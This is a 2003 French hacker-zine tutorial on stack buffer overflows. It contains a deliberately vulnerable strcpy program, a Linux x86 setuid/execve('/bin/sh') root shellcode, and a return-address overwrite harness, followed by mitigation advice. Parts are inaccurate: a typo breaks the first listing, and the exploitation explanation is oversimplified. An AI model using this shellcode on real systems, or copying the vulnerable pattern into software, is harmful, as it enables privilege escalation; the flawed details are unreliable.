Introduction aux buffers overflow

 
Voici le sommaire de cet article :

 

-----------------------------------------------------------------------

0) Introduction

       Dans cet article destiné à l'EspioZine, je vais vous parler des buffers overflow ainsi que des dangers de ceux-ci. Je vais tenter de vous expliquer leur fonctionnement par le biais d'un programme en C. Nous allons l'appeler bof.c :

 

/**********************
         bof.c
 *********************/


#include<stdio.h>

#include<string.h>


main(int argc, char *argv[])
{   char buffer[5];
     if (argc > 1)

     strcpy(buffur,argv[1]);

}

 
1) Que fait ce programme ?

       Voici la source commentée afin de l'expliquer:

/* déclaration des arguments */
main(int argc, char *argv[])
{   /* définition de la variable buffer */
    char buffer[5];
    /* si un argument est passé */
    if (argc > 1)
    /* insère le dans la variable buffer */
    strcpy(buffer,argv[1]);
}

       Comme on peut le voir, la variable buffer est conçue pour supporter 5 caractères. Maintenant imaginons que celle-ci viendrait à déborder car un trop gros argument serait passé. Mais d'abord, combien de caractères faut-il pour produire l'overflow ? Pour le savoir, compilez le programme bof.c puis faites :

C:\>bof aaaaa

       Rien ne passe. Ajoutez donc un 'a' en plus. S'il ne se passe toujours rien, répétez cette opération jusqu'à qu'un message d'erreur apparaisse (environ au 10ème 'a').

       Que s'est-il passé ? Le 10ème caractère à débordé. Tout d'abord, rappelons ce qu'est une variable en C afin de mieux comprendre à quoi est dû l'overflow.

Variable: Une ~ est un espace mémoire que le programme réserve lors de son exécution. 
              Cet espace mémoire varie en fonction du type de variable. Il correspond à un certains nombre d'octets.

       Pour résumer, un buffer overflow se produit lorsque l'argument passé dépasse le nombre d'octets alloué à la variable.

 

2) En quoi ce programme est-il vulnérable ?

       Comme on a pu le constater, au bout d'un certain nombre de caractères, un buffer overflow se produit. Imaginons que jusqu'au point de rupture (à la limite du nombre d'octet), on envoie des lettres (des 'A' par exemple comme dans l'exemple plus haut) et qu'au point de rupture, on envoie un shellcode. Le shellcode sera donc en overflow et sera interprété par le système. Nous obtiendrons ainsi l'accès root.

 

3) Explication shématiquement au niveau de la pile

       Schémas de la pile STACK

 


Données débordant étant donc exécutées

-------------------

Pile
STACK


  <----- les données qui déborderont seront une requête
           d'exécution de /bin/sh (shellcode)


  <----- point de rupture (ici à environ 10 caractères)

  <----- nous envoyons des 'A' pour faire saturer.
            partie réservée à la mémoire tampon
            (ici à 10 caractères)

 

 
4) Qu'est-ce qu'un shellcode ?

       Un shellcode est une suite d'instruction permettant d'exécuter du code afin d'obtenir un accès root ou de mettre en place un shell (pour la plupart des cas). Il correspond à une série de 'jump' et de 'push' (en ASM : assembleur);

       Voici le shellcode que j'ai décidé d'exécuter (ici en C):

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

       Il a pour but d'exécuter /bin/sh et de nous donner l'accès root.

       Il n'est pas nécessaire de trouver un programme 'souffrant' d'une vulnérabilité buffer overflow pour envoyer un shellcode. Le programme ci-dessous s'en chargera tout seul :

#include <unistd.h>
#include <stdio.h>

int main()
{   char * name [] = {"/bin/sh", NULL};
    execve (name [0], name, NULL);
    _exit(0);
}

       Son fonctionnement est tout simple : il exécuter /bin/sh !

       Le shellcode peut aussi être directement intégré au programme :

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{   int * ret;
    seteuid(getuid());
    * ((int *) & ret + 2) = (int) shellcode;
    return (0);
}

 
5) Comment sécuriser ce programme ?

       Un moyen de le protéger sans toucher au code source est d'appliquer le patch 'grsec' et d'utiliser la 'libsafe'. Ceci à pour effet d'empêcher le dépassement de la mémoire.

       Une autre méthode consisterait à modifier le code source de ce programme.

#include <string.h>
#include <stdio.h>
#define SATURATION 512

main(int argc, char *argv[])
{    printf("Arguments passes... ");
     if (argc > 1)
     {    printf("Oui\n");
          printf("Taille reglementaire... ");
          if (strlen(argv[1]) < SATURATION)
          {    char buffer[512];
               strcpy(buffer,argv[1]);
               printf("Oui\n");
               _exit(0);
          }
          else
          {    printf("Non\n");
               _exit(0);
          }
     }
     else
     {    printf("Aucuns\n");
          _exit(0);
     }
}

 
6) Infos

Cet article a été écrit pour l'EspioZine.
Fait le: 05/10/2003
Auteur: Isothop
Website: Darkalpha.com

 

7) Remerciements

       Je remercie Nocte, l'admin de DHS pour tous ce qu'il m'a apprit sur le sujet par le biais de ses défis.

-----------------------------------------------------------------------

 

Isothop

Pour me contacter :

Isothop : isothop@darkalpha.com